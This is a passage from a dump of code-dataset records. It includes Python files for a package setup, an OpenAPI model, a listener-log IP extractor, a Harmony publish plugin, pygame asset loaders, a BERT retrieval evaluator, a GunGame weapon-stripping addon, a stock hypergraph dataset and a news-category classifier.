Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python',\n 'Topic :: Software Development',\n 'Topic :: Scientific/Engineering',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7']\n\n\nINSTALL_REQUIRES = ['numpy', 'scipy', 'sklearn', 'patsy', 'pandas']\n\n\nEXTRAS_REQUIRE = {\n 'tests': [\n 'pytest',\n 'pytest-cov',\n ],\n 'docs': [\n 'sphinx',\n 'sphinx-gallery',\n 'sphinx_rtd_theme',\n 'numpydoc'\n ]\n}\n\n\nsetuptools.setup(\n name=NAME,\n version=VERSION,\n author=AUTHOR,\n author_email=AUTHOR_EMAIL,\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n long_description_content_type=\"text/markdown\",\n license=LICENSE,\n url=URL,\n download_url=DOWNLOAD_URL,\n packages=setuptools.find_packages(),\n classifiers=CLASSIFIERS,\n install_requires=INSTALL_REQUIRES,\n extras_require=EXTRAS_REQUIRE,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"505688576","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom api_provider_management.models.base_model_ import Model\nfrom api_provider_management.models.api_provider_func_role import ApiProviderFuncRole\nfrom api_provider_management.models.registration_information import RegistrationInformation\nfrom api_provider_management import util\n\nfrom api_provider_management.models.api_provider_func_role import ApiProviderFuncRole # noqa: E501\nfrom api_provider_management.models.registration_information import RegistrationInformation # noqa: E501\n\nclass APIProviderFunctionDetails(Model):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, api_prov_func_id=None, reg_info=None, api_prov_func_role=None, api_prov_func_info=None): # noqa: E501\n \"\"\"APIProviderFunctionDetails - a model defined in OpenAPI\n\n :param api_prov_func_id: The api_prov_func_id of this APIProviderFunctionDetails. # noqa: E501\n :type api_prov_func_id: str\n :param reg_info: The reg_info of this APIProviderFunctionDetails. # noqa: E501\n :type reg_info: RegistrationInformation\n :param api_prov_func_role: The api_prov_func_role of this APIProviderFunctionDetails. # noqa: E501\n :type api_prov_func_role: ApiProviderFuncRole\n :param api_prov_func_info: The api_prov_func_info of this APIProviderFunctionDetails. # noqa: E501\n :type api_prov_func_info: str\n \"\"\"\n self.openapi_types = {\n 'api_prov_func_id': str,\n 'reg_info': RegistrationInformation,\n 'api_prov_func_role': ApiProviderFuncRole,\n 'api_prov_func_info': str\n }\n\n self.attribute_map = {\n 'api_prov_func_id': 'apiProvFuncId',\n 'reg_info': 'regInfo',\n 'api_prov_func_role': 'apiProvFuncRole',\n 'api_prov_func_info': 'apiProvFuncInfo'\n }\n\n self._api_prov_func_id = api_prov_func_id\n self._reg_info = reg_info\n self._api_prov_func_role = api_prov_func_role\n self._api_prov_func_info = api_prov_func_info\n\n @classmethod\n def from_dict(cls, dikt) -> 'APIProviderFunctionDetails':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The APIProviderFunctionDetails of this APIProviderFunctionDetails. # noqa: E501\n :rtype: APIProviderFunctionDetails\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def api_prov_func_id(self):\n \"\"\"Gets the api_prov_func_id of this APIProviderFunctionDetails.\n\n API provider domain functionID assigned by the CAPIF core function to the API provider domain function while registering/updating the API provider domain. Shall not be present in the HTTP POST request from the API management function to the CAPIF core function, to register itself. Shall be present in all other HTTP requests and responses. # noqa: E501\n\n :return: The api_prov_func_id of this APIProviderFunctionDetails.\n :rtype: str\n \"\"\"\n return self._api_prov_func_id\n\n @api_prov_func_id.setter\n def api_prov_func_id(self, api_prov_func_id):\n \"\"\"Sets the api_prov_func_id of this APIProviderFunctionDetails.\n\n API provider domain functionID assigned by the CAPIF core function to the API provider domain function while registering/updating the API provider domain. Shall not be present in the HTTP POST request from the API management function to the CAPIF core function, to register itself. Shall be present in all other HTTP requests and responses. # noqa: E501\n\n :param api_prov_func_id: The api_prov_func_id of this APIProviderFunctionDetails.\n :type api_prov_func_id: str\n \"\"\"\n\n self._api_prov_func_id = api_prov_func_id\n\n @property\n def reg_info(self):\n \"\"\"Gets the reg_info of this APIProviderFunctionDetails.\n\n\n :return: The reg_info of this APIProviderFunctionDetails.\n :rtype: RegistrationInformation\n \"\"\"\n return self._reg_info\n\n @reg_info.setter\n def reg_info(self, reg_info):\n \"\"\"Sets the reg_info of this APIProviderFunctionDetails.\n\n\n :param reg_info: The reg_info of this APIProviderFunctionDetails.\n :type reg_info: RegistrationInformation\n \"\"\"\n if reg_info is None:\n raise ValueError(\"Invalid value for `reg_info`, must not be `None`\") # noqa: E501\n\n self._reg_info = reg_info\n\n @property\n def api_prov_func_role(self):\n \"\"\"Gets the api_prov_func_role of this APIProviderFunctionDetails.\n\n\n :return: The api_prov_func_role of this APIProviderFunctionDetails.\n :rtype: ApiProviderFuncRole\n \"\"\"\n return self._api_prov_func_role\n\n @api_prov_func_role.setter\n def api_prov_func_role(self, api_prov_func_role):\n \"\"\"Sets the api_prov_func_role of this APIProviderFunctionDetails.\n\n\n :param api_prov_func_role: The api_prov_func_role of this APIProviderFunctionDetails.\n :type api_prov_func_role: ApiProviderFuncRole\n \"\"\"\n if api_prov_func_role is None:\n raise ValueError(\"Invalid value for `api_prov_func_role`, must not be `None`\") # noqa: E501\n\n self._api_prov_func_role = api_prov_func_role\n\n @property\n def api_prov_func_info(self):\n \"\"\"Gets the api_prov_func_info of this APIProviderFunctionDetails.\n\n Generic information related to the API provider domain function such as details of the API provider applications. # noqa: E501\n\n :return: The api_prov_func_info of this APIProviderFunctionDetails.\n :rtype: str\n \"\"\"\n return self._api_prov_func_info\n\n @api_prov_func_info.setter\n def api_prov_func_info(self, api_prov_func_info):\n \"\"\"Sets the api_prov_func_info of this APIProviderFunctionDetails.\n\n Generic information related to the API provider domain function such as details of the API provider applications. # noqa: E501\n\n :param api_prov_func_info: The api_prov_func_info of this APIProviderFunctionDetails.\n :type api_prov_func_info: str\n \"\"\"\n\n self._api_prov_func_info = api_prov_func_info\n","sub_path":"services/TS29222_CAPIF_API_Provider_Management_API/api_provider_management/models/api_provider_function_details.py","file_name":"api_provider_function_details.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"521443894","text":"import os\nimport re\n\nworkDir = 'D:\\\\Users\\\\wucl\\\\Desktop\\\\logs\\\\TNS\\\\lsnrlog-10.17.12.31'\nresultFile = 'D:\\\\Users\\\\wucl\\\\Desktop\\\\logs\\\\TNS\\\\lsnr-10.17.12.31-2020.txt'\nipRegex = re.compile(\n r'''(\n \\(\n HOST\\=\n (\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\n \\)\\(\n PORT\\=\n (\\d{1,5})\n \\)\n )''', re.VERBOSE)\n\nipFile = open(resultFile, 'w')\n\n# 获取文件夹内的文件列表\nfor folderName, subfolders, filenames in os.walk(workDir):\n # print(folderName)\n # print(subfolders)\n # print(filenames)\n # 依次读取文件内容,根据正则表达式进行匹配\n for filename in filenames:\n lnsrFile = open(folderName + '\\\\' + filename)\n lnsrContent = lnsrFile.readlines()\n for line in lnsrContent:\n targetIP = ipRegex.findall(line)\n # print(line)\n if len(targetIP) >= 1:\n print(targetIP[0][0])\n # print(len(targetIP))\n ipFile.write(str(targetIP[0][0]))\n ipFile.write('\\n')\nipFile.close()\n\n\n","sub_path":"ListenerAnalyse.py","file_name":"ListenerAnalyse.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"593460283","text":"import os\nimport shutil\n\nimport pype.api\nimport avalon.harmony\nimport pype.hosts.harmony\n\n\nclass ExtractWorkfile(pype.api.Extractor):\n \"\"\"Extract the connected nodes to the composite instance.\"\"\"\n\n label = \"Extract Workfile\"\n hosts = [\"harmony\"]\n families = [\"workfile\"]\n\n def process(self, instance):\n # Export template.\n backdrops = avalon.harmony.send(\n {\"function\": \"Backdrop.backdrops\", \"args\": [\"Top\"]}\n )[\"result\"]\n nodes = avalon.harmony.send(\n {\"function\": \"node.subNodes\", \"args\": [\"Top\"]}\n )[\"result\"]\n staging_dir = self.staging_dir(instance)\n filepath = os.path.join(staging_dir, \"{}.tpl\".format(instance.name))\n\n pype.hosts.harmony.export_template(backdrops, nodes, filepath)\n\n # Prep representation.\n os.chdir(staging_dir)\n shutil.make_archive(\n \"{}\".format(instance.name),\n \"zip\",\n os.path.join(staging_dir, \"{}.tpl\".format(instance.name))\n )\n\n representation = {\n \"name\": \"tpl\",\n \"ext\": \"zip\",\n \"files\": \"{}.zip\".format(instance.name),\n \"stagingDir\": staging_dir\n }\n instance.data[\"representations\"] = [representation]\n","sub_path":"pype/plugins/harmony/publish/extract_workfile.py","file_name":"extract_workfile.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"14213104","text":"import Properties\nimport pygame\nimport Physics\nimport os\n\ntilesDir = \"images/\"\nspritesDir =\"images/\"\nnullcolor = [0,0,0]\nanimationDir = \"images/\"\niconDir = \"images/\"\n\ndef getUI():\n image = pygame.image.load(os.path.join(\"ui\",\"ui.png\")).convert()\n image.set_colorkey(image.get_at((int(image.get_width()/2),int(image.get_height()/2))))\n properties = Properties.makeProperties(\"ui\",Properties.UI)\n return {\"image\" :image, \"properties\" : properties}\n\ndef getSurface(color,size):\n image = pygame.Surface(size)\n image.fill(color)\n return image\n\ndef getIcon(iconName):\n image = pygame.image.load(os.path.join(iconDir,iconName+'.png')).convert()\n image.set_colorkey(image.get_at([0,0]))\n return image\n\ndef getAnimation(animationName):\n properties = Properties.makeProperties(animationName, Properties.ANIMATION)\n animation = pygame.image.load(animationDir + animationName+\".png\").convert()\n size = animation.get_size()\n effect = properties.getBranch(\"animation\")\n sequ = effect.getArray(\"sequence\")\n dims = effect.getArray(\"dimensions\")\n x = sequ[0]%dims[0] * sequ[2]\n y = sequ[0]//dims[0] * sequ[3]\n count = sequ[0]\n images = []\n while count < sequ[1]:\n imgsize = [sequ[2],sequ[3]]\n image = getSurface(nullcolor,[imgsize[0],imgsize[1]])\n image.blit(animation,[0,0],[x,y,imgsize[0],imgsize[1]])\n image.set_colorkey(image.get_at([0,0]))\n images.append(image)\n count+=1\n x += sequ[2]\n if (x >= size[0]):\n x = 0\n y+= sequ[3]\n \n #pygame.image.save(animation,'test/'+animationName+'test.png')\n data = {}\n data[\"props\"] = effect\n data[\"images\"] = images\n data[\"size\"] = imgsize\n return data\n \ndef getTileset(tilesetname):\n properties = Properties.makeProperties(tilesetname, Properties.TILE)\n tileset = pygame.image.load(tilesDir + tilesetname+\".png\").convert()\n size = [120,86]\n x = 1\n y = 1\n shift = 17\n i = 0\n tiledict = {}\n while y < size[1]:\n imgsize = (shift-1)*2\n image = getSurface(nullcolor,[imgsize,imgsize])\n image.blit(tileset,[0,0],[x,y,shift-1,shift-1])\n image.blit(tileset,[imgsize/2,0],[x,y,shift-1,shift-1])\n image.blit(image,[0,imgsize/2],[0,0,imgsize,imgsize/2])\n if (x >= size[0]):\n x = 1\n y+= shift\n else:\n x += shift\n tiledict[str(i)] = image\n if str(i) in properties.props.keys():\n tiledict[image] = properties.getBranch(str(i))\n else:\n tiledict[image] = Properties.Properties.getDefaultProperties(Properties.defaultTileProps)\n if 'escape' in tiledict[image].getType():\n tiledict['>'] = image\n\n i+=1\n image = getSurface(nullcolor,[imgsize,imgsize])\n tiledict[\"-\"] = image\n tiledict[image] = Properties.Properties.getDefaultProperties(Properties.defaultTileProps)\n tiledict[\"size\"] = [imgsize,imgsize]\n return tiledict\n\ndef getSprite(spritename,dimensions):\n properties = Properties.makeProperties(spritename, Properties.SPRITE)\n spritesheet = pygame.image.load(spritesDir + spritename+\".png\").convert()\n size = spritesheet.get_size()\n color = spritesheet.get_at((0,0))\n x = 0\n y = 0\n shift = [size[0]/dimensions[0],(size[1])/dimensions[1]]\n i = 0\n sprites = {\"images\" : {}}\n while y < size[1]:\n \n image = getSurface(color,shift)\n image.blit(spritesheet,[0,0],[x,y,shift[0],shift[1]])\n image.set_colorkey(image.get_at((0,0)))\n \n \n if i in sprites[\"images\"]:\n sprites[\"images\"][i].append(image)\n else:\n sprites[\"images\"][i] = [image]\n x += shift[0]\n if (x >= size[0]):\n x = 0\n y+= shift[1]+1\n i+=1\n sprites[\"properties\"] = properties\n return sprites\n\n#index of sprite\ndef getIndexFromDir(sprites,direction):\n \n a = Physics.directionToCardinalNumber(direction)\n return a\n\n\ndef getEntry(dictionary,index):\n return dictionary[str(index)]\n","sub_path":"src/ImageProc.py","file_name":"ImageProc.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"404120046","text":"import pandas as pd \nimport numpy as np\nimport pickle\nimport time\nfrom sentence_transformers import SentenceTransformer, util\nfrom sklearn.metrics.pairwise import cosine_similarity\ndef evaluate(result, target, top1 ,top3 , top5 ,top10 ,top30):\n \n if target in list(result.head(30)[\"title\"]):\n top30+=1\n if target in list(result.head(10)[\"title\"]):\n top10+=1\n \n if target in list(result.head(5)[\"title\"]):\n top5+=1\n if target in list(result.head(3)[\"title\"]):\n top3+=1\n if target in list(result.head(1)[\"title\"]):\n top1+=1\n return top1,top3,top5,top10,top30\nstart = time.time()\nprint(\"setting up...\")\nmodel = SentenceTransformer('paraphrase-MiniLM-L6-v2')\ndoc_encoding = pickle.load(open('doc_encoding_bert_full.pickle','rb'))\ndata = pd.read_pickle(\"processed_data_small.pkl\")\nprint(\"Setup Complete\")\ndef query_text(query, qt = 150, start = 1):\n \n query_encoding = model.encode(query)\n\n order=cosine_similarity([query_encoding] , doc_encoding)\n sorted_order = np.argsort(-order)\n answers=[]\n d= data\n d[\"Sim\"] = order[0]\n d = d.sort_values(by=[\"Sim\"], ascending=False)\n result=d[['id' ,'title']]\n return result\ntop1,top3,top5,top10=0,0,0,0\ntop30 = 0\ndef start_eval():#run this for evaluation\n print(\"Starting BERT evaluation....\")\n top1,top3,top5,top10=0,0,0,0\n MRR=0\n denom=0\n top30 = 0\n testcases = pd.read_csv(\"test.csv\")\n start_test = time.time()\n for i , j in testcases.iterrows():\n \n query = j[\"QUERY\"]\n d = query_text(query)\n\n result = d[['title']]\n top1,top3,top5,top10 ,top30=evaluate(result, j[\"TITLE\"] , top1,top3,top5,top10,top30)\n try:\n MRR+= 1/(1+list(result.head()[\"title\"]).index(j[\"TITLE\"]))\n denom+=1\n except:\n pass\n end_test=time.time()\n print(i , denom)\n MRR=MRR/i\n #print(i, \"\\nThe top30 accuracy is \" , top30 ,\"\\nThe top10 accuracy is \" , top10 , \" \\nThe top5 accuracy is \" , top5, \" \\nThe top3 accuracy is \" , top3, \"\\nThe top1 accuracy is \" , top1)\n print(\"BERT EVALUATION RESULTS\")\n print(\"There are a total of \" , i, \" search queries to test\")\n print(\"\\nThe top30 accuracy is \" , top30 ,\"\\nThe top10 accuracy is \" , top10 , \" \\nThe top5 accuracy is \" , top5, \" \\nThe top3 accuracy is \" , top3, \"\\nThe top1 accuracy is \" , top1)\n print(\"Total querying time is \" , end_test-start_test, \" seconds\")\n print(\"BERT EVALUATION SUCCESSFUL\")\n print(\"MRR is \" , MRR)\nend = time.time()\nprint(\"SET TIME FOR BERT is \" , end-start , \" seconds\")\n# start_eval()","sub_path":"bertIR.py","file_name":"bertIR.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"231914980","text":"# ../scripts/included/gg_dead_strip/gg_dead_strip.py\r\n\r\n'''\r\n$Rev$\r\n$LastChangedBy$\r\n$LastChangedDate$\r\n'''\r\n\r\n# =============================================================================\r\n# >> IMPORTS\r\n# =============================================================================\r\n\r\n# Eventscripts Imports\r\nimport es\r\nimport gamethread\r\nfrom playerlib import getPlayer\r\nfrom weaponlib import getWeaponNameList\r\nfrom weaponlib import getWeaponList\r\n\r\n# SPE Imports\r\nimport spe\r\n\r\n# GunGame Imports\r\nfrom gungame51.core.addons.shortcuts import AddonInfo\r\nfrom gungame51.core.addons import PriorityAddon\r\nfrom gungame51.core.players.shortcuts import Player\r\nfrom ..gg_warmup_round.gg_warmup_round import get_warmup_weapon\r\nfrom ..gg_nade_bonus.gg_nade_bonus import get_weapon\r\n\r\n# =============================================================================\r\n# >> ADDON REGISTRATION/INFORMATION\r\n# =============================================================================\r\ninfo = AddonInfo()\r\ninfo.name = 'gg_dead_strip'\r\ninfo.title = 'GG Dead Strip'\r\ninfo.author = 'GG Dev Team'\r\ninfo.version = \"5.1.%s\" % \"$Rev$\".split('$Rev: ')[1].split()[0]\r\n\r\n# =============================================================================\r\n# >> GLOBAL VARIABLES\r\n# =============================================================================\r\n# Get the es.ServerVar() instance of \"gg_nade_bonus\"\r\ngg_nade_bonus = es.ServerVar('gg_nade_bonus')\r\n\r\n# Retrieve a list of all available weapon names\r\nlist_weaponNameList = getWeaponNameList()\r\n\r\ngg_map_strip_exceptions = es.ServerVar('gg_map_strip_exceptions')\r\n\r\n\r\n# =============================================================================\r\n# >> LOAD & UNLOAD\r\n# =============================================================================\r\ndef load():\r\n # Register the drop command to prevent it from being used.\r\n es.addons.registerClientCommandFilter(drop_filter)\r\n\r\n #Start the idle weapon removal loop\r\n gamethread.delayedname(5, \"gg_removeIdleLoop\", removeIdleLoop)\r\n\r\n # Make sure that all owned weapons can NOT be picked up\r\n for userid in es.getUseridList():\r\n for weapon in spe.getWeaponDict(userid):\r\n set_spawn_flags(userid, weapon[7:], 2)\r\n\r\n\r\ndef unload():\r\n # Unregister the drop command\r\n es.addons.unregisterClientCommandFilter(drop_filter)\r\n\r\n #Stop the idle weapon removal loop\r\n gamethread.cancelDelayed('gg_removeIdleLoop')\r\n\r\n # Make sure that all weapons can be picked up\r\n for userid in es.getUseridList():\r\n for weapon in spe.getWeaponDict(userid):\r\n set_spawn_flags(userid, weapon[7:], 0)\r\n\r\n\r\n# =============================================================================\r\n# >> GAME EVENTS\r\n# =============================================================================\r\ndef round_start(event_var):\r\n # Remove all idle weapons that exist on the map.\r\n es.server.queuecmd('es_xfire %s game_weapon_manager ' % es.getuserid() +\r\n 'AddOutput \"maxpieces 0\"')\r\n\r\n\r\ndef item_pickup(event_var):\r\n # Get variables\r\n item = event_var['item']\r\n userid = int(event_var['userid'])\r\n\r\n # Is a weapon?\r\n if (\"weapon_%s\" % item) not in list_weaponNameList:\r\n return\r\n\r\n # Client exists?\r\n if not es.exists('userid', userid) and userid != 0:\r\n return\r\n\r\n # Don't strip the knife\r\n if item == \"knife\":\r\n return\r\n\r\n # Don't strip the c4 if bomb objectives are allowed\r\n if item == \"c4\" and not int(es.ServerVar(\"gg_map_obj\")) in [1, 2]:\r\n return\r\n\r\n # Check to see if the weapon is in the player's strip exceptions\r\n if item in Player(userid).stripexceptions + ['flashbang', 'smokegrenade']:\r\n # Make sure this weapon can't be picked up\r\n set_spawn_flags(userid, item, 2)\r\n return\r\n\r\n # Get the player's GunGame weapon\r\n currentWeapon = Player(userid).weapon\r\n\r\n # Check to see if the weapon is their gungame weapon\r\n if item == currentWeapon:\r\n # Make sure this weapon can't be picked up\r\n set_spawn_flags(userid, item, 2)\r\n return\r\n\r\n # Remove player's weapon\r\n remove_weapon(userid, item)\r\n\r\n # Check if player is on nade level\r\n if currentWeapon == 'hegrenade':\r\n\r\n # Switch the player knife ?\r\n if not getPlayer(userid).he:\r\n es.server.queuecmd('es_xsexec %s \"use weapon_knife\"' % userid)\r\n return\r\n\r\n # Switch to their gungame weapon\r\n es.server.queuecmd('es_xsexec %s \"use weapon_%s\"' % (userid, currentWeapon)\r\n )\r\n\r\n\r\n# =============================================================================\r\n# >> CUSTOM/HELPER FUNCTIONS\r\n# =============================================================================\r\ndef removeIdleLoop():\r\n list_noStrip = [(x.strip() if x.strip().startswith('weapon_') else\r\n 'weapon_%s' % x.strip()) for x in\r\n str(gg_map_strip_exceptions).split(',') if x.strip() != '']\r\n\r\n for weapon in getWeaponList('#all'):\r\n # Make sure that the admin doesn't want the weapon left on the map\r\n if weapon in list_noStrip:\r\n continue\r\n\r\n # Remove all weapons of this type from the map\r\n for index in weapon.indexlist:\r\n # If the weapon has an owner, stop here\r\n if es.getindexprop(index, 'CBaseEntity.m_hOwnerEntity') != -1:\r\n continue\r\n\r\n spe.removeEntityByIndex(index)\r\n\r\n gamethread.delayedname(5, \"gg_removeIdleLoop\", removeIdleLoop)\r\n\r\n\r\ndef set_spawn_flags(userid, weapon, flag):\r\n # Adjusts the ability for weapons to be picked up\r\n es.server.queuecmd('es_xfire %s weapon_%s ' % (userid, weapon) +\r\n 'addoutput \"spawnflags %s\"' % flag)\r\n\r\n\r\ndef remove_weapon(userid, item):\r\n # Remove weapon\r\n weaponName = \"weapon_%s\" % item\r\n theWeapon = spe.ownsWeapon(userid, weaponName)\r\n if theWeapon:\r\n spe.dropWeapon(userid, weaponName)\r\n spe.removeEntityByInstance(theWeapon)\r\n\r\n\r\ndef drop_filter(userid, args):\r\n # If command not drop, continue\r\n if len(args) and args[0].lower() != 'drop':\r\n return 1\r\n\r\n # If the player is no longer on the server, stop here\r\n if not es.exists(\"userid\", userid):\r\n return 0\r\n\r\n # Get player's GunGame weapon\r\n weapon = Player(userid).weapon\r\n\r\n # If gg_warmup_round is loaded, the weapon they should have is the warmup\r\n # weapon\r\n if 'gg_warmup_round' in PriorityAddon:\r\n weapon = get_warmup_weapon()\r\n\r\n # Get the player's current weapon\r\n curWeapon = getPlayer(userid).attributes['weapon']\r\n\r\n # If playerlib didn't find a current weapon, stop here\r\n if not curWeapon:\r\n return\r\n\r\n # Check to see if their current weapon is their level weapon\r\n if weapon != 'hegrenade':\r\n return int(curWeapon != 'weapon_%s' % weapon)\r\n\r\n # NADE BONUS CHECK\r\n if str(gg_nade_bonus) in ('', '0'):\r\n return 0\r\n\r\n # Do not let them drop their nade bonus weapon\r\n if curWeapon.replace(\"weapon_\", \"\") in get_weapon(userid):\r\n return 0\r\n\r\n # Allow them to drop it\r\n return 1\r\n","sub_path":"cstrike/addons/eventscripts/gungame51/scripts/included/gg_dead_strip/gg_dead_strip.py","file_name":"gg_dead_strip.py","file_ext":"py","file_size_in_byte":7188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"170499170","text":"\"\"\"Stock Dataset class.\n\nAuthor:\n Sahil Khose (sahilkhose18@gmail.com)\n\"\"\"\nimport config\n\n\nimport ast\nimport numpy as np \nimport pandas as pd \nimport torch\nimport torch_geometric\n\nfrom scipy import sparse\nfrom torch_geometric import utils\n\n\nclass StockDataset:\n def __init__(self, x, y):\n '''Init StockDataset\n\n @param x (List[str]) : List of dates. len(List): num_days\n @param y (pd.DataFrame) : Labels dataframe. shape : (num_days, num_stocks)\n '''\n self.x = x \n self.y = y \n\n def __len__(self):\n '''Returns num_days\n '''\n return len(self.x)\n\n def __getitem__(self, index):\n '''Returns hgs, node_embs, y and prices in the lookback window given today's date index.\n @param index (int) : Date index.\n @returns hgs (List[torch.tensor]) : List of hypergraphs. tensor.shape: (num_days, 2, x)\n @returns node_embs (List[torch.tensor]) : List of node embeddings. tensor.shape: (num_days, num_stocks, 768)\n @returns y (torch.tensor) : Label. tensor.shape: (num_stocks)\n @returns prices (List[torch.tensor]) : List of prices. tensor.shape: (num_days, num_stocks, 1)\n '''\n # Selecting today's date:\n today = str(self.x[index])\n\n # Get label\n y = self.y.loc[today, :] # today's label\n y = torch.tensor(y, dtype=torch.long) # (num_stocks)\n\n # Fetching prices\n prices = []\n dates = lookback_window_dates(today) # list of dates\n price_df = pd.read_csv(config.PRICE_PATH, index_col=0) # df for price info\n for date in dates:\n price = price_df.loc[date, :] \n price = torch.tensor(price, dtype=torch.float).view(-1, 1) # (num_stocks, 1)\n prices.append(price)\n\n # Fetching hypergraphs and node embeddings\n hgs, node_embs = fetch_data(today) # hgs: (num_days, 2, x) node_embs: (num_days, stock_num, 768)\n\n return hgs, node_embs, y, prices, today\n \n\ndef fetch_data(today):\n '''Returns hgs, node_embs given today's date.\n @param today (str) : Today's date.\n @returns hgs (List[torch.tensor]) : List of hypergraphs. tensor.shape: (num_days, 2, x)\n @returns node_embs (List[torch.tensor]) : List of node embeddings. tensor.shape: (num_days, num_stocks, 768)\n '''\n hgs = []\n node_embs = []\n dates = lookback_window_dates(today)\n\n for date in dates:\n hg = np.load(config.HG_PATH + date + \".npy\")\n # Process the npy hg to feed it to the hgnn\n inci_sparse = sparse.coo_matrix(hg)\n incidence_edge = utils.from_scipy_sparse_matrix(inci_sparse)\n hyp_input = incidence_edge[0] # this is edge list (2, x)\n\n # Fetch node_emb\n # node_emb = node_emb_generate(date)\n # node_emb = node_emb.detach().clone().type(torch.float)\n\n hgs.append(hyp_input)\n # node_embs.append(node_emb)\n\n return hgs, node_embs\n \ndef lookback_window_dates(today):\n '''Returns dates in the lookback window given today's date.\n @param today (str) : Today's date.\n @returns dates (List(str)) : Dates in the lookback window along with today.\n '''\n dates = []\n DATES = sorted(open(config.DATES_PATH, \"r\").read().split())\n for idx, date_temp in enumerate(DATES):\n if date_temp == today:\n break\n for idx in range(idx-config.LOOKBACK_WINDOW, idx+1):\n dates.append(DATES[idx])\n \n return dates\n\ndef node_emb_generate(date):\n '''Returns node_emb for a given date.\n @param date (str) : Date for node_emb. \n @returns node_emb (torch.tensor) : Node embedding. tensor.shape: (num_stocks, 768) \n '''\n NAMES_HG = open(config.NAMES_HG_PATH, \"r\")\n DATES = sorted(open(config.DATES_PATH, \"r\").read().split())\n TICKERS = sorted(open(config.TICKERS_PATH, \"r\").read().split())\n tick_to_idx = {} # ticker to index\n idx_to_tick = {} # index to ticker # unused\n\n for idx, ticker in enumerate(TICKERS):\n tick_to_idx[ticker] = idx\n idx_to_tick[idx] = ticker\n\n stock_embs = torch.load(config.STOCK_EMB_PATH, map_location=\"cpu\") # (num_stocks, 768)\n node_emb = torch.zeros(len(TICKERS), 768) # (num_stocks, 768)\n\n for reports, day in zip(NAMES_HG, DATES):\n if(day == date):\n reports = list(ast.literal_eval(reports))\n for report in reports:\n for stock in report:\n node_emb[tick_to_idx[stock]] += stock_embs[tick_to_idx[stock]]\n break\n\n return node_emb\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n hgs, node_embs = fetch_data(\"2006-10-25\")\n print(len(hgs), len(node_embs))\n print(\"__\"*80)\n for hg in hgs:\n print(hg.shape)\n # print(hg)\n print(\"__\"*80)\n for node in node_embs:\n print(node.shape)\n print(\"__\"*80)\n outputs = []\n for hg, node_emb in zip(hgs, node_embs):\n print(torch_geometric.nn.HypergraphConv(\n 768, 32, use_attention=True, heads=4, concat=False, negative_slope=0.2, dropout=0.5, bias=True)\n (node_emb.float(), hg.long()).shape)\n outputs.append(torch_geometric.nn.HypergraphConv(\n 768, 32, use_attention=True, heads=4, concat=False, negative_slope=0.2, dropout=0.5, bias=True)\n (node_emb.float(), hg.long()))\n\n a = torch.cat(outputs).view(-1, 481, 32)\n a = torch.nn.LSTM(input_size=32, hidden_size=32,\n num_layers=1, bias=False, batch_first=False, dropout=0, bidirectional=False)(a)\n print(\"__\"*80)\n\n\n h, _ = a[-1]\n h = h.squeeze(0)\n print(h.shape)\n out = torch.nn.Linear(32, 2)(h)\n print(out.shape)\n\n # torch.Size([481, 2])\n # torch.Size([481, 34])\n # torch.Size([481, 39])\n # torch.Size([481, 28])\n\n # torch.Size([2, 4])\n # torch.Size([2, 41])\n # torch.Size([2, 50])\n # torch.Size([2, 53])\n","sub_path":"src/stc-stock_emb/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"31767253","text":"import pickle\nimport numpy as np\nimport os\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\n\ncat_ids = {1001005: \"Thời sự\", 1001002: \"Thế giới\", 1003159: \"Kinh doanh\", 1002691: \"Giải trí\", 1002565: \"Thể thao\",\n 1001007: \"Pháp luật\", 1003497: \"Giáo dục\", 1003750: \"Sức khỏe\", 1002966: \"Đời sống\", 1003231: \"Du lịch\", 1001009: \"Khoa học\"}\n\n\nclass model():\n def __init__(self, ModelPath, ModelName):\n self.count_vectorizer = CountVectorizer(vocabulary=pickle.load(\n open(os.path.join(os.getcwd(), ModelPath, \"count_vector.pkl\"), \"rb\")))\n self.tfidf = pickle.load(\n open(os.path.join(os.getcwd(), ModelPath, \"tfidf.pkl\"), \"rb\"))\n self.model = pickle.load(\n open(os.path.join(os.getcwd(), ModelPath, ModelName), \"rb\"))\n\n def get_top_k(self, text, k):\n text = [text]\n\n X_new_counts = self.count_vectorizer.transform(text)\n X_new_tfidf = self.tfidf.transform(X_new_counts)\n predictions = self.model.predict_proba(X_new_tfidf)\n\n best_k = np.argsort(predictions, axis=1)[:, -k:]\n\n # dictionnary of predicted classes with their probabilities\n results = {\n cat_ids[self.model.classes_[i]]: \"{:12.2f}%\".format(\n float(predictions[0][i]) * 100)\n for i in best_k[0][::-1]\n }\n 